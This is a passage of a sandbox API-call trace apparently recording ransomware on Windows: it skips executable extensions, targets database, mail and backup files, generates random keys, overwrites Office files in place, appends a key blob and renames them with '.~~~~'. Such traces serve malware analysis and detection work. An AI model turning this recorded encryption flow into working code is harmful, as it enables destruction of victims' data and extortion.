	[0144.173] WriteFile (in: hFile=0x138, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x482d, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x24dfec0*=0x482d, lpOverlapped=0x0) returned 1
	[0144.173] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0144.173] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0144.173] WriteFile (in: hFile=0x138, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0144.173] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0144.173] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0144.173] CloseHandle (hObject=0x138) returned 1
	[0144.195] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x39ae80
	[0144.195] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Review.xsn" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\reviewrouting_review.xsn"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Review.xsn.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\reviewrouting_review.xsn.~~~~")) returned 1
	[0144.381] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39ae80 | out: hHeap=0x300000) returned 1
	[0144.381] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0144.381] GetLastError () returned 0x0
	[0144.381] RtlWakeConditionVariable () returned 0x0
	[0144.382] GetCurrentThreadId () returned 0x3a4
	[0144.382] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL", lpSrch=".scr") returned 0x0
	[0144.382] lstrlenW (lpString=".cmd") returned 4
	[0144.382] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL", lpSrch=".cmd") returned 0x0
	[0144.382] lstrlenW (lpString=".dll") returned 4
	[0144.382] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL", lpSrch=".dll") returned 0x0
	[0144.382] lstrlenW (lpString=".bat") returned 4
	[0144.382] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL", lpSrch=".bat") returned 0x0
	[0144.382] lstrlenW (lpString=".cpl") returned 4
	[0144.382] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL", lpSrch=".cpl") returned 0x0
	[0144.382] lstrlenW (lpString=".sys") returned 4
	[0144.382] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL", lpSrch=".sys") returned 0x0
	[0144.382] lstrlenW (lpString=".msc") returned 4
	[0144.382] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL", lpSrch=".msc") returned 0x0
	[0144.382] lstrlenW (lpString=".com") returned 4
	[0144.382] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL", lpSrch=".com") returned 0x0
	[0144.382] lstrlenW (lpString=".lnk") returned 4
	[0144.382] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL", lpSrch=".lnk") returned 0x0
	[0144.382] lstrlenW (lpString=".msp") returned 4
	[0144.382] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL", lpSrch=".msp") returned 0x0
	[0144.382] lstrlenW (lpString=".pif") returned 4
	[0144.382] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL", lpSrch=".pif") returned 0x0
	[0144.383] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0144.383] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0144.383] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\slintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0144.474] lstrlenW (lpString=".sqb") returned 4
	[0144.474] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL", lpSrch=".sqb") returned 0x0
	[0144.474] lstrlenW (lpString=".ost") returned 4
	[0144.474] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL", lpSrch=".ost") returned 0x0
	[0144.474] lstrlenW (lpString=".txt") returned 4
	[0144.474] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL", lpSrch=".txt") returned 0x0
	[0144.474] lstrlenW (lpString=".mdt") returned 4
	[0144.474] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL", lpSrch=".mdt") returned 0x0
	[0144.474] lstrlenW (lpString=".BDB") returned 4
	[0144.474] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL", lpSrch=".BDB") returned 0x0
	[0144.474] lstrlenW (lpString=".eql") returned 4
	[0144.474] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL", lpSrch=".eql") returned 0x0
	[0144.474] lstrlenW (lpString=".DBF") returned 4
	[0144.474] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL", lpSrch=".DBF") returned 0x0
	[0144.474] lstrlenW (lpString=".EQL") returned 4
	[0144.474] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL", lpSrch=".EQL") returned 0x0
	[0144.475] lstrlenW (lpString=".FDB") returned 4
	[0144.475] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL", lpSrch=".FDB") returned 0x0
	[0144.475] lstrlenW (lpString=".EDB") returned 4
	[0144.475] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL", lpSrch=".EDB") returned 0x0
	[0144.475] lstrlenW (lpString=".DACPAC") returned 7
	[0144.475] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL", lpSrch=".DACPAC") returned 0x0
	[0144.475] lstrlenW (lpString=".VHD") returned 4
	[0144.475] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL", lpSrch=".VHD") returned 0x0
	[0144.475] lstrlenW (lpString=".DBV") returned 4
	[0144.475] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL", lpSrch=".DBV") returned 0x0
	[0144.475] lstrlenW (lpString=".dacpac") returned 7
	[0144.475] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL", lpSrch=".dacpac") returned 0x0
	[0144.475] lstrlenW (lpString=".sdf") returned 4
	[0144.475] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL", lpSrch=".sdf") returned 0x0
	[0144.475] lstrlenW (lpString=".accdb") returned 6
	[0144.475] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL", lpSrch=".accdb") returned 0x0
	[0144.475] lstrlenW (lpString=".DBX") returned 4
	[0144.475] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL", lpSrch=".DBX") returned 0x0
	[0144.475] lstrlenW (lpString=".MDT") returned 4
	[0144.475] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL", lpSrch=".MDT") returned 0x0
	[0144.475] lstrlenW (lpString=".SQB") returned 4
	[0144.475] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL", lpSrch=".SQB") returned 0x0
	[0144.475] lstrlenW (lpString=".vhd") returned 4
	[0144.475] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL", lpSrch=".vhd") returned 0x0
	[0144.475] lstrlenW (lpString=".bac") returned 4
	[0144.475] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL", lpSrch=".bac") returned 0x0
	[0144.476] lstrlenW (lpString=".mdf") returned 4
	[0144.476] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL", lpSrch=".mdf") returned 0x0
	[0144.476] lstrlenW (lpString=".BAK") returned 4
	[0144.476] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL", lpSrch=".BAK") returned 0x0
	[0144.476] lstrlenW (lpString=".BAC") returned 4
	[0144.476] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL", lpSrch=".BAC") returned 0x0
	[0144.476] lstrlenW (lpString=".dbs") returned 4
	[0144.476] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL", lpSrch=".dbs") returned 0x0
	[0144.476] lstrlenW (lpString=".vhdx") returned 5
	[0144.476] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL", lpSrch=".vhdx") returned 0x0
	[0144.476] lstrlenW (lpString=".NDF") returned 4
	[0144.476] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL", lpSrch=".NDF") returned 0x0
	[0144.476] lstrlenW (lpString=".dat") returned 4
	[0144.476] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL", lpSrch=".dat") returned 0x0
	[0144.476] lstrlenW (lpString=".DBS") returned 4
	[0144.476] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL", lpSrch=".DBS") returned 0x0
	[0144.476] lstrlenW (lpString=".CKP") returned 4
	[0144.476] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL", lpSrch=".CKP") returned 0x0
	[0144.476] lstrlenW (lpString=".edb") returned 4
	[0144.476] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL", lpSrch=".edb") returned 0x0
	[0144.476] lstrlenW (lpString=".PST") returned 4
	[0144.476] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL", lpSrch=".PST") returned 0x0
	[0144.476] lstrlenW (lpString=".dbf") returned 4
	[0144.476] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL", lpSrch=".dbf") returned 0x0
	[0144.476] lstrlenW (lpString=".SQL") returned 4
	[0144.476] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL", lpSrch=".SQL") returned 0x0
	[0144.476] lstrlenW (lpString=".pst") returned 4
	[0144.477] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL", lpSrch=".pst") returned 0x0
	[0144.477] lstrlenW (lpString=".dbv") returned 4
	[0144.477] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL", lpSrch=".dbv") returned 0x0
	[0144.477] lstrlenW (lpString=".SDF") returned 4
	[0144.477] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL", lpSrch=".SDF") returned 0x0
	[0144.477] lstrlenW (lpString=".dtxs") returned 5
	[0144.477] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL", lpSrch=".dtxs") returned 0x0
	[0144.477] lstrlenW (lpString=".db3") returned 4
	[0144.477] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL", lpSrch=".db3") returned 0x0
	[0144.477] lstrlenW (lpString=".OST") returned 4
	[0144.477] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL", lpSrch=".OST") returned 0x0
	[0144.477] lstrlenW (lpString=".dbx") returned 4
	[0144.477] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL", lpSrch=".dbx") returned 0x0
	[0144.477] lstrlenW (lpString=".DB3") returned 4
	[0144.477] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL", lpSrch=".DB3") returned 0x0
	[0144.477] lstrlenW (lpString=".DAT") returned 4
	[0144.477] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL", lpSrch=".DAT") returned 0x0
	[0144.477] lstrlenW (lpString=".VHDX") returned 5
	[0144.477] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL", lpSrch=".VHDX") returned 0x0
	[0144.477] lstrlenW (lpString=".ndf") returned 4
	[0144.477] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL", lpSrch=".ndf") returned 0x0
	[0144.477] lstrlenW (lpString=".DB") returned 3
	[0144.477] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL", lpSrch=".DB") returned 0x0
	[0144.477] lstrlenW (lpString=".sql") returned 4
	[0144.477] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL", lpSrch=".sql") returned 0x0
	[0144.478] lstrlenW (lpString=".MYD") returned 4
	[0144.478] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL", lpSrch=".MYD") returned 0x0
	[0144.478] lstrlenW (lpString=".DBT") returned 4
	[0144.478] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL", lpSrch=".DBT") returned 0x0
	[0144.478] lstrlenW (lpString=".ACCDB") returned 6
	[0144.478] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL", lpSrch=".ACCDB") returned 0x0
	[0144.478] lstrlenW (lpString=".fdb") returned 4
	[0144.478] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL", lpSrch=".fdb") returned 0x0
	[0144.478] lstrlenW (lpString=".bak") returned 4
	[0144.478] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL", lpSrch=".bak") returned 0x0
	[0144.478] lstrlenW (lpString=".myd") returned 4
	[0144.478] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL", lpSrch=".myd") returned 0x0
	[0144.478] lstrlenW (lpString=".DTXS") returned 5
	[0144.478] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL", lpSrch=".DTXS") returned 0x0
	[0144.478] lstrlenW (lpString=".ckp") returned 4
	[0144.478] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL", lpSrch=".ckp") returned 0x0
	[0144.478] lstrlenW (lpString=".dbt") returned 4
	[0144.478] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL", lpSrch=".dbt") returned 0x0
	[0144.478] lstrlenW (lpString=".db") returned 3
	[0144.478] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL", lpSrch=".db") returned 0x0
	[0144.478] lstrlenW (lpString=".TXT") returned 4
	[0144.478] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL", lpSrch=".TXT") returned 0x0
	[0144.478] lstrlenW (lpString=".MDF") returned 4
	[0144.478] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL", lpSrch=".MDF") returned 0x0
	[0144.479] lstrlenW (lpString=".bdb") returned 4
	[0144.479] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL", lpSrch=".bdb") returned 0x0
	[0144.479] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0144.479] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0144.479] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0144.479] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0144.479] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x395630) returned 1
	[0144.481] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0144.481] CryptReleaseContext (hProv=0x395630, dwFlags=0x0) returned 1
	[0144.481] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0144.481] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0144.481] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0144.481] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=26447159907) returned 1
	[0144.482] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xbf86da30, dwHighDateTime=0x1d60e1e)) 
	[0144.482] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0144.482] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0144.482] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0144.482] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x37ff98
	[0144.482] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0144.482] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37ff98 | out: hHeap=0x300000) returned 1
	[0144.482] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0144.482] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0144.482] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28acb00
	[0144.482] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0144.482] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37bb70
	[0144.482] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28acb00 | out: hHeap=0x300000) returned 1
	[0144.482] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0144.483] GetLastError () returned 0x0
	[0144.483] GetLastError () returned 0x0
	[0144.483] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0144.483] GetLastError () returned 0x0
	[0144.483] GetLastError () returned 0x0
	[0144.483] ReadFile (in: hFile=0x10c, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x24dfec0*=0x2380, lpOverlapped=0x0) returned 1
	[0144.486] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xffffdc80, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0144.486] WriteFile (in: hFile=0x10c, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x2380, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x24dfec0*=0x2380, lpOverlapped=0x0) returned 1
	[0144.486] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0144.487] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0144.487] WriteFile (in: hFile=0x10c, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0144.487] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0144.487] WriteFile (in: hFile=0x10c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0144.487] CloseHandle (hObject=0x10c) returned 1
	[0144.487] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37bb70
	[0144.487] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\slintl.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\slintl.dll.~~~~")) returned 1
	[0144.490] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37bb70 | out: hHeap=0x300000) returned 1
	[0144.490] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0144.490] GetLastError () returned 0x0
	[0144.490] RtlWakeConditionVariable () returned 0x0
	[0144.490] GetCurrentThreadId () returned 0x3a4
	[0144.490] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPS.CSS", lpSrch=".scr") returned 0x0
	[0144.491] lstrlenW (lpString=".cmd") returned 4
	[0144.491] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPS.CSS", lpSrch=".cmd") returned 0x0
	[0144.491] lstrlenW (lpString=".dll") returned 4
	[0144.491] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPS.CSS", lpSrch=".dll") returned 0x0
	[0144.491] lstrlenW (lpString=".bat") returned 4
	[0144.491] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPS.CSS", lpSrch=".bat") returned 0x0
	[0144.491] lstrlenW (lpString=".cpl") returned 4
	[0144.491] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPS.CSS", lpSrch=".cpl") returned 0x0
	[0144.491] lstrlenW (lpString=".sys") returned 4
	[0144.491] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPS.CSS", lpSrch=".sys") returned 0x0
	[0144.491] lstrlenW (lpString=".msc") returned 4
	[0144.491] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPS.CSS", lpSrch=".msc") returned 0x0
	[0144.491] lstrlenW (lpString=".com") returned 4
	[0144.491] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPS.CSS", lpSrch=".com") returned 0x0
	[0144.491] lstrlenW (lpString=".lnk") returned 4
	[0144.491] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPS.CSS", lpSrch=".lnk") returned 0x0
	[0144.491] lstrlenW (lpString=".msp") returned 4
	[0144.491] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPS.CSS", lpSrch=".msp") returned 0x0
	[0144.491] lstrlenW (lpString=".pif") returned 4
	[0144.491] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPS.CSS", lpSrch=".pif") returned 0x0
	[0144.491] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0144.491] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPS.CSS", lpSrch="msp\r\n.pif") returned 0x0
	[0144.491] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPS.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sps.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0144.494] lstrlenW (lpString=".sqb") returned 4
	[0144.494] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPS.CSS", lpSrch=".sqb") returned 0x0
	[0144.494] lstrlenW (lpString=".ost") returned 4
	[0144.494] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPS.CSS", lpSrch=".ost") returned 0x0
	[0144.494] lstrlenW (lpString=".txt") returned 4
	[0144.494] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPS.CSS", lpSrch=".txt") returned 0x0
	[0144.494] lstrlenW (lpString=".mdt") returned 4
